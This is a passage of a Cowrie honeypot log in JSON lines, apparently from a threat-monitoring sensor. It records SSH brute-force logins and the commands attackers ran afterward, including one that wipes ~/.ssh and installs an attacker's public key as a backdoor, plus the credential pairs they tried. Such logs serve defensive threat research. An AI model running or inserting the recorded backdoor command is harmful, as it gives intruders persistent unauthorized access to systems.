{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.401903Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.415518Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.468793Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.471979Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.487024Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.490635Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":60712,"dst_ip":"159.203.135.109","dst_port":22,"session":"334aff2de181","protocol":"ssh","message":"New connection: 172.172.196.177:60712 (159.203.135.109:22) [session: 334aff2de181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.495031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.498899Z","src_ip":"172.172.196.177","session":"334aff2de181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.508863Z","src_ip":"172.172.196.177","session":"334aff2de181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.584641Z","src_ip":"172.172.196.177","session":"334aff2de181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.597007Z","src_ip":"172.172.196.177","session":"334aff2de181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"79ddabeae806","protocol":"ssh","message":"New connection: 172.172.196.177:60716 (159.203.135.109:22) [session: 79ddabeae806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.606396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.610244Z","src_ip":"172.172.196.177","session":"79ddabeae806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.622522Z","src_ip":"172.172.196.177","session":"79ddabeae806","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.704322Z","src_ip":"172.172.196.177","session":"79ddabeae806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.718602Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:10.722697Z","src_ip":"172.172.196.177","session":"79ddabeae806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.76.128.23","src_port":42049,"dst_ip":"10.17.0.5","dst_port":23,"session":"cce3dbf391e6","protocol":"telnet","message":"New connection: 49.76.128.23:42049 (10.17.0.5:23) [session: cce3dbf391e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:15.343409Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":35782,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50d350efad5","protocol":"ssh","message":"New connection: 150.95.157.171:35782 (159.203.135.109:22) [session: c50d350efad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:27.611517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:27.616055Z","src_ip":"150.95.157.171","session":"c50d350efad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:27.769629Z","src_ip":"150.95.157.171","session":"c50d350efad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiyi","password":"shiyi123!","message":"login attempt [shiyi/shiyi123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:28.427996Z","src_ip":"150.95.157.171","session":"c50d350efad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60160,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d4dad75ee3","protocol":"ssh","message":"New connection: 2.57.122.96:60160 (159.203.135.109:22) [session: 12d4dad75ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:28.608203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:28.624432Z","src_ip":"2.57.122.96","session":"12d4dad75ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:28.736292Z","src_ip":"2.57.122.96","session":"12d4dad75ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.607294797897339,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:28.950462Z","src_ip":"49.76.128.23","session":"cce3dbf391e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:29.114888Z","src_ip":"2.57.122.96","session":"12d4dad75ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:29.584135Z","src_ip":"150.95.157.171","session":"c50d350efad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:30.215976Z","src_ip":"2.57.122.96","session":"12d4dad75ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":40938,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a692a956f12","protocol":"ssh","message":"New connection: 172.173.117.246:40938 (159.203.135.109:22) [session: 6a692a956f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.075205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.079826Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.123849Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.325866Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.440282Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.442769Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.445336Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.486690Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.660122Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.663427Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.707937Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.711560Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":40944,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e5589e99c4","protocol":"ssh","message":"New connection: 172.173.117.246:40944 (159.203.135.109:22) [session: 47e5589e99c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.748033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.752369Z","src_ip":"172.173.117.246","session":"47e5589e99c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr"